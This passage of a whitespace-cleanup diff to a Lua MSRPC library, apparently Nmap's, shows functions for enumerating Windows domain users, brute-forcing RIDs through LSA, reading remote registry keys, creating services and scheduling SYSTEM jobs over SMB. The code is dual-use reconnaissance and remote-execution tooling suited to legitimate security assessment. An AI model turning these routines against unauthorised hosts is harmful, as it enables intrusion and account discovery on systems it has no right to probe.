Otherwise, result is a table of values, the most --- useful one being 'domains', which is a list of the domains. +-- useful one being 'domains', which is a list of the domains. function samr_enumdomains(smbstate, connect_handle) local i, j local status, result @@ -1372,7 +1372,7 @@ function samr_enumdomains(smbstate, connect_handle) -- [in,ref] policy_handle *connect_handle, arguments = msrpctypes.marshall_policy_handle(connect_handle) - + -- [in,out,ref] uint32 *resume_handle, arguments = arguments .. msrpctypes.marshall_int32(0) @@ -1417,13 +1417,13 @@ function samr_enumdomains(smbstate, connect_handle) end ---Call the LookupDomain function, which converts a domain's name into its sid, which is --- required to do operations on the domain. +-- required to do operations on the domain. -- --@param smbstate The SMB state table --@param connect_handle The connect_handle, returned by samr_connect4 --@param domain The name of the domain (all domain names can be obtained with samr_enumdomains) --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'sid', which is required to call other functions. +-- useful one being 'sid', which is required to call other functions. function samr_lookupdomain(smbstate, connect_handle, domain) local i, j local status, result @@ -1433,7 +1433,7 @@ function samr_lookupdomain(smbstate, connect_handle, domain) stdnse.print_debug(2, "MSRPC: Calling LookupDomain(%s) [%s]", domain, smbstate['ip']) --- [in,ref] policy_handle *connect_handle, +-- [in,ref] policy_handle *connect_handle, arguments = msrpctypes.marshall_policy_handle(connect_handle) -- [in,ref] lsa_String *domain_name, @@ -1470,14 +1470,14 @@ function samr_lookupdomain(smbstate, connect_handle, domain) return true, result end ----Call OpenDomain, which returns a handle to the domain identified by the given sid. --- This is required before calling certain functions. +---Call OpenDomain, which returns a handle to the domain identified by the given sid. +-- This is required before calling certain functions. -- --@param smbstate The SMB state table --@param connect_handle The connect_handle, returned by samr_connect4 --@param sid The sid for the domain, returned by samr_lookupdomain --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'domain_handle', which is used to call other functions. +-- useful one being 'domain_handle', which is used to call other functions. function samr_opendomain(smbstate, connect_handle, sid) local i, j local status, result @@ -1523,17 +1523,17 @@ function samr_opendomain(smbstate, connect_handle, sid) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.opendomain)" end - + return true, result end ----Call EnumDomainUsers, which returns a list of users only. To get more information about the users, the --- QueryDisplayInfo() function can be used. +---Call EnumDomainUsers, which returns a list of users only. To get more information about the users, the +-- QueryDisplayInfo() function can be used. -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'names', which is a list of usernames in that domain. +-- useful one being 'names', which is a list of usernames in that domain. function samr_enumdomainusers(smbstate, domain_handle) local i, j local status, result @@ -1589,22 +1589,22 @@ function samr_enumdomainusers(smbstate, domain_handle) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.enumdomainusers)" end - + return true, result end ---Call QueryDisplayInfo, which returns a list of users with accounts on the system, as well as extra information about --- them (their full name and description). +-- them (their full name and description). -- --- I found in testing that trying to get all the users at once is a mistake, it returns ERR_BUFFER_OVERFLOW, so instead I'm +-- I found in testing that trying to get all the users at once is a mistake, it returns ERR_BUFFER_OVERFLOW, so instead I'm -- only reading one user at a time. My recommendation is to start at index = 0, and increment until you stop getting --- an error indicator in result['return']. +-- an error indicator in result['return']. -- --@param smbstate The SMB state table --@param domain_handle The domain handle, returned by samr_opendomain --@param index The index of the user to check; the first user is 0, next is 1, etc. ---@param count [optional] The number of users to return; you may want to be careful about going too high. Default: 1. +--@param count [optional] The number of users to return; you may want to be careful about going too high. Default: 1. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most -- useful ones being 'names', a list of all the usernames, and 'details', a further list of tables with the elements -- 'name', 'fullname', and 'description' (note that any of them can be nil if the server didn't return a value). Finally, @@ -1620,7 +1620,7 @@ function samr_querydisplayinfo(smbstate, domain_handle, index, count) end -- This loop is because, in my testing, if I asked for all the results at once, it would blow up (ERR_BUFFER_OVERFLOW). So, instead, - -- I put a little loop here and grab the names individually. + -- I put a little loop here and grab the names individually. stdnse.print_debug(2, "MSRPC: Calling QueryDisplayInfo(%d) [%s]", index, smbstate['ip']) -- [in,ref] policy_handle *domain_handle, @@ -1648,7 +1648,7 @@ function samr_querydisplayinfo(smbstate, domain_handle, index, count) if(status ~= true) then return false, result end - + stdnse.print_debug(3, "MSRPC: QueryDisplayInfo() returned successfully", i) -- Make arguments easier to use @@ -1683,13 +1683,13 @@ function samr_querydisplayinfo(smbstate, domain_handle, index, count) return true, result end ----Call QueryDomainInfo2, which grabs various data about a domain. +---Call QueryDomainInfo2, which grabs various data about a domain. -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain --@param level The level, which determines which type of information to query for. See the @return section --- for details. ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, +-- for details. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, -- and the values that are returned are dependent on the 'level' settings: -- Level 1: -- 'min_password_length' (in characters) @@ -1748,7 +1748,7 @@ function samr_querydomaininfo2(smbstate, domain_handle, level) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.querydomaininfo2)" end - + return true, result end @@ -1756,7 +1756,7 @@ end -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. function samr_enumdomainaliases(smbstate, domain_handle) local i, j local status, result @@ -1767,7 +1767,7 @@ function samr_enumdomainaliases(smbstate, domain_handle) -- [in] policy_handle *domain_handle, arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle) - + -- [in,out,ref] uint32 *resume_handle, arguments = arguments .. msrpctypes.marshall_int32_ptr(nil) @@ -1791,7 +1791,7 @@ function samr_enumdomainaliases(smbstate, domain_handle) -- [in] policy_handle *domain_handle, -- [in,out,ref] uint32 *resume_handle, pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos) - + -- [out,ref] samr_SamArray **sam, pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos) @@ -1806,7 +1806,7 @@ function samr_enumdomainaliases(smbstate, domain_handle) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.enumdomainaliases)" end - + return true, result end @@ -1814,7 +1814,7 @@ end -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. function samr_lookupnames(smbstate, domain_handle, names) local i, j local status, result @@ -1831,7 +1831,7 @@ function samr_lookupnames(smbstate, domain_handle, names) -- [in,size_is(1000),length_is(num_names)] lsa_String names[], arguments = arguments .. msrpctypes.marshall_lsa_String_array2(names) - + -- [out,ref] samr_Ids *rids, -- [out,ref] samr_Ids *types @@ -1866,16 +1866,16 @@ function samr_lookupnames(smbstate, domain_handle, names) if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then return false, smb.get_status_name(result['return']) .. " (samr.lookupnames)" end - + return true, result end ----Call the OpenAlias function, which gets a handle to a group. +---Call the OpenAlias function, which gets a handle to a group. -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain --@param rid The RID of the alias ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. function samr_openalias(smbstate, domain_handle, rid) local i, j local status, result @@ -1919,17 +1919,17 @@ function samr_openalias(smbstate, domain_handle, rid) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.openalias)" end - + return true, result end ----Call the GetAliasMembership function. ---Sends the "raw" data, without marshaling. --- +---Call the GetAliasMembership function. +--Sends the "raw" data, without marshaling. +-- --@param smbstate The SMB state table --@param alias_handle The alias_handle, already marshaled --@param args Actuall data to send, already marshaled ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. function samr_getaliasmembership(smbstate, alias_handle,args) local status, result local arguments @@ -1946,12 +1946,12 @@ function samr_getaliasmembership(smbstate, alias_handle,args) return true, result end ----Call the GetMembersInAlias function, which retrieves a list of users in --- a group. +---Call the GetMembersInAlias function, which retrieves a list of users in +-- a group. -- --@param smbstate The SMB state table --@param alias_handle The alias_handle, returned by samr_openalias ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. function samr_getmembersinalias(smbstate, alias_handle) local i, j local status, result @@ -1986,20 +1986,20 @@ function samr_getmembersinalias(smbstate, alias_handle) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)" end - + return true, result end --- Call the LookupRids function, which converts a list of RIDs to --- names. +-- Call the LookupRids function, which converts a list of RIDs to +-- names. -- ---NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted). ---if you ever feel like you need this function, check out lsa_lookupsids2. +--NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted). +--if you ever feel like you need this function, check out lsa_lookupsids2. -- --@param smbstate The SMB state table --@param domain_handle The domain_handle, returned by samr_opendomain --@param rids An array of RIDs to look up ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. --function samr_lookuprids(smbstate, domain_handle, rids) -- local i, j -- local status, result @@ -2043,7 +2043,7 @@ end -- if(result['return'] ~= 0) then -- return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)" -- end --- +-- -- return true, result --end @@ -2053,7 +2053,7 @@ end --@param smbstate The SMB state table --@param handle The handle to close --@return (status, result) If status is false, result is an error message. Otherwise, result is potentially --- a table of values, none of which are likely to be used. +-- a table of values, none of which are likely to be used. function samr_close(smbstate, handle) local i, j local status, result @@ -2088,17 +2088,17 @@ function samr_close(smbstate, handle) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (samr.close)" end - + return true, result end ----Call the LsarOpenPolicy2 function, to obtain a "policy handle". This must be done before calling many --- of the LSA functions. +---Call the LsarOpenPolicy2 function, to obtain a "policy handle". This must be done before calling many +-- of the LSA functions. -- --@param smbstate The SMB state table --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'policy_handle', which is required to call other functions. +-- useful one being 'policy_handle', which is required to call other functions. function lsa_openpolicy2(smbstate, server) local i, j local status, result @@ -2116,7 +2116,7 @@ function lsa_openpolicy2(smbstate, server) -- [in] uint32 access_mask, arguments = arguments .. msrpctypes.marshall_int32(0x00000800) --- [out] policy_handle *handle +-- [out] policy_handle *handle -- Do the call status, result = call_function(smbstate, 0x2C, arguments) @@ -2133,7 +2133,7 @@ function lsa_openpolicy2(smbstate, server) -- [in,unique] [string,charset(UTF16)] uint16 *system_name, -- [in] lsa_ObjectAttribute *attr, -- [in] uint32 access_mask, --- [out] policy_handle *handle +-- [out] policy_handle *handle pos, result['policy_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos) pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos) @@ -2147,15 +2147,15 @@ function lsa_openpolicy2(smbstate, server) return true, result end ----Call the LsarLookupNames2 function, to convert the server's name into a sid. +---Call the LsarLookupNames2 function, to convert the server's name into a sid. -- --@param smbstate The SMB state table --@param policy_handle The policy handle returned by lsa_openpolicy2 ---@param names An array of names to look up. To get a SID, only one of the names needs to be valid. ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +--@param names An array of names to look up. To get a SID, only one of the names needs to be valid. +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. -- The most useful result is 'domains', which is a list of domains known to the server. And, for each of the -- domains, there is a 'name' entry, which is a string, and a 'sid' entry, which is yet another object which --- can be passed to functions that understand SIDs. +-- can be passed to functions that understand SIDs. function lsa_lookupnames2(smbstate, policy_handle, names) local i, j local status, result @@ -2184,7 +2184,7 @@ function lsa_lookupnames2(smbstate, policy_handle, names) -- [in,out] uint32 *count, arguments = arguments .. msrpctypes.marshall_int32(0) - + -- [in] uint32 unknown1, arguments = arguments .. msrpctypes.marshall_int32(0) @@ -2214,7 +2214,7 @@ function lsa_lookupnames2(smbstate, policy_handle, names) -- [in,out] lsa_TransSidArray2 *rids, pos, result['rids'] = msrpctypes.unmarshall_lsa_TransSidArray2(arguments, pos) - + -- [in] lsa_LookupNamesLevel level, -- [in,out] uint32 *count, pos, result['count'] = msrpctypes.unmarshall_int32(arguments, pos) @@ -2243,11 +2243,11 @@ end --@param smbstate The SMB state table --@param policy_handle The policy handle returned by lsa_openpolicy2 --@param sids The SIDs to look up (will probably be the server's SID with "-[rid]" appended ---@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. --- The element 'domains' is identical to the lookupnames2() element called 'domains'. The element 'names' is a +--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values. +-- The element 'domains' is identical to the lookupnames2() element called 'domains'. The element 'names' is a -- list of strings, for the usernames (not necessary a 1:1 mapping with the RIDs), and the element 'details' is -- a table containing more information about each name, even if the name wasn't found (this one is a 1:1 mapping --- with the RIDs). +-- with the RIDs). function lsa_lookupsids2(smbstate, policy_handle, sids) local i, j local status, result @@ -2259,7 +2259,7 @@ function lsa_lookupsids2(smbstate, policy_handle, sids) -- [in] policy_handle *handle, arguments = msrpctypes.marshall_policy_handle(policy_handle) - + -- [in] lsa_SidArray *sids, arguments = arguments .. msrpctypes.marshall_lsa_SidArray(sids) @@ -2322,7 +2322,7 @@ end --@param smbstate The SMB state table --@param handle The handle to close --@return (status, result) If status is false, result is an error message. Otherwise, result is potentially --- a table of values, none of which are likely to be used. +-- a table of values, none of which are likely to be used. function lsa_close(smbstate, handle) local i, j local status, result @@ -2354,17 +2354,17 @@ function lsa_close(smbstate, handle) if(result['return'] ~= 0) then return false, smb.get_status_name(result['return']) .. " (lsa.close)" end - + stdnse.print_debug(3, "MSRPC: LsaClose() returned successfully") return true, result end ----A proxy to a msrpctypes function that converts a SidType to an english string. +---A proxy to a msrpctypes function that converts a SidType to an english string. -- I implemented this as a proxy so scripts don't have to make direct calls to msrpctypes -- functions. -- --@param val The value to convert. ---@return A string that can be displayed to the user. +--@return A string that can be displayed to the user. function lsa_SidType_tostr(val) return msrpctypes.lsa_SidType_tostr(val) end @@ -2374,7 +2374,7 @@ end -- --@param smbstate The SMB state table --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'handle', which is required to call other winreg functions. +-- useful one being 'handle', which is required to call other winreg functions. function winreg_openhku(smbstate) local i, j local status, result @@ -2424,7 +2424,7 @@ end -- --@param smbstate The SMB state table --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'handle', which is required to call other winreg functions. +-- useful one being 'handle', which is required to call other winreg functions. function winreg_openhklm(smbstate) local i, j local status, result @@ -2473,7 +2473,7 @@ end -- --@param smbstate The SMB state table --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'handle', which is required to call other winreg functions. +-- useful one being 'handle', which is required to call other winreg functions. function winreg_openhkpd(smbstate) local i, j local status, result @@ -2522,7 +2522,7 @@ end -- --@param smbstate The SMB state table --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'handle', which is required to call other winreg functions. +-- useful one being 'handle', which is required to call other winreg functions. function winreg_openhkcu(smbstate) local i, j local status, result @@ -2571,14 +2571,14 @@ end ---Calls the Windows registry function EnumKey, which returns a single key --- under the given handle, at the index of 'index'. +-- under the given handle, at the index of 'index'. -- --@param smbstate The SMB state table ---@param handle A handle to hive or key. winreg_openhku provides a useable key, for example. +--@param handle A handle to hive or key. winreg_openhku provides a useable key, for example. --@param index The index of the key to return. Generally you'll start at 0 and increment until -- an error is returned. --@param name The name buffer. This should be set to the empty string; however, setting to 'nil' can have --- interesting effects on Windows 2000 (I experienced crashes). +-- interesting effects on Windows 2000 (I experienced crashes). --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most -- useful one being 'name', which is the name of the current key function winreg_enumkey(smbstate, handle, index, name) @@ -2597,7 +2597,7 @@ function winreg_enumkey(smbstate, handle, index, name) -- [in,out,ref] winreg_StringBuf *name, -- NOTE: if the 'name' parameter here is set to 'nil', the service on a fully patched Windows 2000 system - -- may crash. + -- may crash. arguments = arguments .. msrpctypes.marshall_winreg_StringBuf({name=""}, 520) -- [in,out,unique] winreg_StringBuf *keyclass, @@ -2644,13 +2644,13 @@ function winreg_enumkey(smbstate, handle, index, name) end ---- Calls the function OpenKey, which obtains a handle to a named key. +--- Calls the function OpenKey, which obtains a handle to a named key. -- --@param smbstate The SMB state table ---@param handle A handle to hive or key. winreg_openhku provides a useable key, for example. ---@param keyname The name of the key to open. +--@param handle A handle to hive or key. winreg_openhku provides a useable key, for example. +--@param keyname The name of the key to open. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most --- useful one being 'handle', which is a handle to the newly opened key. +-- useful one being 'handle', which is a handle to the newly opened key. function winreg_openkey(smbstate, handle, keyname) local i, j local status, result @@ -2704,13 +2704,13 @@ function winreg_openkey(smbstate, handle, keyname) return true, result end ---- Calls the function QueryInfoKey, which obtains information about an opened key. +--- Calls the function QueryInfoKey, which obtains information about an opened key. -- --@param smbstate The SMB state table ---@param handle A handle to the key that's being queried. +--@param handle A handle to the key that's being queried. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most -- useful one, at least for me, being 'last_changed_time'/'last_changed_date', which are the date and time that the --- key was changed. +-- key was changed. function winreg_queryinfokey(smbstate, handle) local i, j local status, result @@ -2791,11 +2791,11 @@ end --- Calls the function QueryValue, which returns the value of the requested key. -- --@param smbstate The SMB state table ---@param handle A handle to the key that's being queried. ---@param value The value we're looking for. +--@param handle A handle to the key that's being queried. +--@param value The value we're looking for. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most -- useful one, at least for me, being 'last_changed_time'/'last_changed_date', which are the date and time that the --- key was changed. +-- key was changed. function winreg_queryvalue(smbstate, handle, value) local i, j local status, result @@ -2885,12 +2885,12 @@ end --- Calls the function CloseKey, which closes an opened handle. Strictly speaking, this doesn't have to be called (Windows --- will close the key for you), but it's good manners to clean up after yourself. +-- will close the key for you), but it's good manners to clean up after yourself. -- --@param smbstate The SMB state table ---@param handle the handle to be closed. +--@param handle the handle to be closed. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, none of --- which are especially useful. +-- which are especially useful. function winreg_closekey(smbstate, handle) local i, j local status, result @@ -2929,12 +2929,12 @@ function winreg_closekey(smbstate, handle) end --- Calls the function OpenSCManagerA, which gets a handle to the service manager. Should be closed with --- CloseServiceHandle when finished. +-- CloseServiceHandle when finished. -- --@param smbstate The SMB state table ---@param machinename The name or IP of the machine. +--@param machinename The name or IP of the machine. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_openscmanagera(smbstate, machinename) local i, j local status, result @@ -2950,8 +2950,8 @@ function svcctl_openscmanagera(smbstate, machinename) arguments = arguments .. msrpctypes.marshall_ascii_ptr(nil) -- [in] uint32 access_mask, --- arguments = arguments .. msrpctypes.marshall_int32(0x000f003f) - arguments = arguments .. msrpctypes.marshall_int32(0x00000002) +-- arguments = arguments .. msrpctypes.marshall_int32(0x000f003f) + arguments = arguments .. msrpctypes.marshall_int32(0x00000002) -- [out,ref] policy_handle *handle @@ -2986,12 +2986,12 @@ end --- Calls the function OpenSCManagerW, which gets a handle to the service manager. Should be closed with --- CloseServiceHandle when finished. +-- CloseServiceHandle when finished. -- --@param smbstate The SMB state table ---@param machinename The name or IP of the machine. +--@param machinename The name or IP of the machine. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_openscmanagerw(smbstate, machinename) local i, j local status, result @@ -3011,8 +3011,8 @@ function svcctl_openscmanagerw(smbstate, machinename) arguments = arguments .. msrpctypes.marshall_unicode_ptr(nil, true) -- [in] uint32 access_mask, --- arguments = arguments .. msrpctypes.marshall_int32(0x000f003f) - arguments = arguments .. msrpctypes.marshall_int32(0x02000000) +-- arguments = arguments .. msrpctypes.marshall_int32(0x000f003f) + arguments = arguments .. msrpctypes.marshall_int32(0x02000000) -- [out,ref] policy_handle *handle @@ -3049,9 +3049,9 @@ end --- Calls the function CloseServiceHandle, which releases a handle. -- --@param smbstate The SMB state table ---@param handle The handle to be closed. +--@param handle The handle to be closed. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_closeservicehandle(smbstate, handle) local i, j local status, result @@ -3091,12 +3091,12 @@ function svcctl_closeservicehandle(smbstate, handle) end --- Calls the function CreateServiceW, which creates a service on the remote machine. This should --- be deleted with DeleteService when finished. +-- be deleted with DeleteService when finished. -- --@param smbstate The SMB state table --@param handle The handle created by OpenSCManagerW --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_createservicew(smbstate, handle, service_name, display_name, path) local i, j local status, result @@ -3177,7 +3177,7 @@ function svcctl_createservicew(smbstate, handle, service_name, display_name, pat -- [in] [string,charset(UTF16)] uint16 *LoadOrderGroupKey, -- [in,out] uint32 *TagId, pos, result['TagId'] = msrpctypes.unmarshall_int32_ptr(arguments, pos) - + -- [in,size_is(dependencies_size)] uint8 *dependencies, -- [in] uint32 dependencies_size, -- [in] [string,charset(UTF16)] uint16 *service_start_name, @@ -3198,12 +3198,12 @@ function svcctl_createservicew(smbstate, handle, service_name, display_name, pat end --- Calls the function DeleteService, which deletes a service on the remote machine. This service --- has to opened with OpenServiceW or similar functions. +-- has to opened with OpenServiceW or similar functions. -- --@param smbstate The SMB state table. ---@param handle The handle to delete, opened with OpenServiceW or similar. +--@param handle The handle to delete, opened with OpenServiceW or similar. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_deleteservice(smbstate, handle) local i, j local status, result @@ -3244,13 +3244,13 @@ function svcctl_deleteservice(smbstate, handle) end --- Calls the function OpenServiceW, which gets a handle to the service. Should be closed with --- CloseServiceHandle when finished. +-- CloseServiceHandle when finished. -- --@param smbstate The SMB state table. ---@param handle A handle to the policy manager, opened with OpenSCManagerW or similar. ---@param name The name of the service. +--@param handle A handle to the policy manager, opened with OpenSCManagerW or similar. +--@param name The name of the service. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values --- representing the "out" parameters. +-- representing the "out" parameters. function svcctl_openservicew(smbstate, handle, name) local i, j local status, result @@ -3300,11 +3300,11 @@ function svcctl_openservicew(smbstate, handle, name) end --- Calls the function StartServiceW, which starts a service. Requires a handle --- created by OpenServiceW. +-- created by OpenServiceW. -- --@param smbstate The SMB state table. --@param handle The handle, opened by OpenServiceW. ---@param args An array of strings representing the arguments. +--@param args An array of strings representing the arguments. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values -- representing the "out" parameters. function svcctl_startservicew(smbstate, handle, args) @@ -3355,11 +3355,11 @@ function svcctl_startservicew(smbstate, handle, args) end ---- Calls the function ControlService, which can send various commands to the service. +--- Calls the function ControlService, which can send various commands to the service. -- --@param smbstate The SMB state table. --@param handle The handle, opened by OpenServiceW. ---@param control The command to send. See svcctl_ControlCode in msrpctypes.lua. +--@param control The command to send. See svcctl_ControlCode in msrpctypes.lua. --@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values -- representing the "out" parameters. function svcctl_controlservice(smbstate, handle, control) @@ -3409,7 +3409,7 @@ function svcctl_controlservice(smbstate, handle, control) end ---- Calls the function QueryServiceStatus, which gets the state information about the service. +--- Calls the function QueryServiceStatus, which gets the state information about the service. -- --@param smbstate The SMB state table. --@param handle The handle, opened by OpenServiceW. @@ -3456,15 +3456,15 @@ function svcctl_queryservicestatus(smbstate, handle, control) return true, result end ----Calls the function JobAdd, which schedules a process to be run on the remote +---Calls the function JobAdd, which schedules a process to be run on the remote -- machine. This requires administrator privileges to run, and the command itself runs as --- SYSTEM. +-- SYSTEM. --@param smbstate The SMB state table. --@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it) ---@param command The command to run on the remote machine. The appropriate file(s) already --- have to be there, and this should be a full path. ---@param time (optional) The time at which to run the command. Default: 5 seconds from --- when the user logged in. +--@param command The command to run on the remote machine. The appropriate file(s) already +-- have to be there, and this should be a full path. +--@param time (optional) The time at which to run the command. Default: 5 seconds from +-- when the user logged in. function atsvc_jobadd(smbstate, server, command, time) local i, j local status, result @@ -3514,9 +3514,9 @@ function atsvc_jobadd(smbstate, server, command, time) return true, result end ----Attempt to enumerate users using SAMR functions. +---Attempt to enumerate users using SAMR functions. -- ---@param host The host object. +--@param host The host object. --@return (status, result) If status is false, result is an error message. Otherwise, result -- is an array of tables, each of which contain the following fields: -- * name @@ -3588,7 +3588,7 @@ function samr_enum_users(host) -- Save the sid local sid = lookupdomain_result['sid'] - + -- Call OpenDomain() local status, opendomain_result = samr_opendomain(smbstate, connect_handle, sid) if(status == false) then @@ -3599,7 +3599,7 @@ function samr_enum_users(host) -- Save the domain handle local domain_handle = opendomain_result['domain_handle'] - -- Loop as long as we're getting valid results + -- Loop as long as we're getting valid results j = 0 repeat -- Call QueryDisplayInfo() @@ -3615,8 +3615,8 @@ function samr_enum_users(host) for k = 1, #querydisplayinfo_result['info']['entries'], 1 do local array = {} local l - - -- The reason these are all indexed from '1' is because we request names one at a time. + + -- The reason these are all indexed from '1' is because we request names one at a time. array['name'] = querydisplayinfo_result['info']['entries'][k]['account_name'] array['fullname'] = querydisplayinfo_result['info']['entries'][k]['full_name'] array['description'] = querydisplayinfo_result['info']['entries'][k]['description'] @@ -3631,7 +3631,7 @@ function samr_enum_users(host) for l = 1, #array['flags'], 1 do array['flags'][l] = samr_AcctFlags_tostr(array['flags'][l]) end - + -- Add it to the array response[#response + 1] = array end @@ -3850,8 +3850,8 @@ end ---Attempt to enumerate users using LSA functions. -- ---@param host The host object. ---@return status, result -- if status is false, result is an error message; otherwise, result is +--@param host The host object. +--@return status, result -- if status is false, result is an error message; otherwise, result is -- an array of tables, each containing the following elements: -- * name -- * rid @@ -3892,7 +3892,7 @@ function lsa_enum_users(host) names[#names + 1] = smbstate['domain'] end if(smbstate['server'] ~= nil) then - names[#names + 1] = string.sub(smbstate['server'], 1, #smbstate['server'] - 1) + names[#names + 1] = string.sub(smbstate['server'], 1, #smbstate['server'] - 1) end -- Get the server's name from nbstat @@ -3920,8 +3920,8 @@ function lsa_enum_users(host) local sids = { } -- Start by looking up 500 and up - for j = 500, 500 + LSA_GROUPSIZE, 1 do - sids[#sids + 1] = sid .. "-" .. j + for j = 500, 500 + LSA_GROUPSIZE, 1 do + sids[#sids + 1] = sid .. "-" .. j end status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], sids) @@ -3929,7 +3929,7 @@ function lsa_enum_users(host) stdnse.print_debug(1, string.format("Error looking up RIDs: %s", lookupsids2_result)) else -- Put the details for each name into an array - -- NOTE: Be sure to mirror any changes here in the next bit! + -- NOTE: Be sure to mirror any changes here in the next bit! for j = 1, #lookupsids2_result['names']['names'], 1 do if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then local result = {} @@ -3953,7 +3953,7 @@ function lsa_enum_users(host) local used_names = 0 local sids = {} - for j = start, start + LSA_GROUPSIZE, 1 do + for j = start, start + LSA_GROUPSIZE, 1 do sids[#sids + 1] = sid .. "-" .. j end @@ -3970,7 +3970,7 @@ function lsa_enum_users(host) local typenum = lookupsids2_result['names']['names'][j]['sid_type'] local typestr = lsa_SidType_tostr(typenum) - -- Check if the username matches the rid (one server we discovered returned every user as valid, + -- Check if the username matches the rid (one server we discovered returned every user as valid, -- this is to prevent that infinite loop) if(tonumber(name) ~= rid) then if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then @@ -3982,7 +3982,7 @@ function lsa_enum_users(host) result['typestr'] = typestr result['source'] = "LSA Bruteforce" table.insert(response, result) - + -- Increment the number of names we've found used_names = used_names + 1 end @@ -4011,13 +4011,13 @@ function lsa_enum_users(host) return true, response end ----Gets the best possible list of user accounts on the remote system using every available method. +---Gets the best possible list of user accounts on the remote system using every available method. -- -- TODO: Caching, store this in the registry -- ---@param host The host object. +--@param host The host object. --@return (status, result, names) If status is false, result is an error message; otherwise, result --- is an array of users indexed by username and names is a sorted array of names. +-- is an array of users indexed by username and names is a sorted array of names. function get_user_list(host) local status_samr, result_samr local status_lsa, result_lsa @@ -4060,7 +4060,7 @@ function get_user_list(host) end ---Retrieve information about a domain. This is done by three seperate calls to samr_querydomaininfo2() to get all --- possible information. smbstate has to be in the proper state for this to work. +-- possible information. smbstate has to be in the proper state for this to work. local function get_domain_info(host, domain) local result = {} local status, smbstate, bind_result, connect4_result, lookupdomain_result, opendomain_result, enumdomainusers_result @@ -4102,7 +4102,7 @@ local function get_domain_info(host, domain) end -- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return - -- the most useful information. + -- the most useful information. local status_1, querydomaininfo2_result_1 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 1) local status_8, querydomaininfo2_result_8 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 8) local status_12, querydomaininfo2_result_12 = samr_querydomaininfo2(smbstate, opendomain_result['domain_handle'], 12) @@ -4215,7 +4215,7 @@ local function get_domain_info(host, domain) end local password_properties = 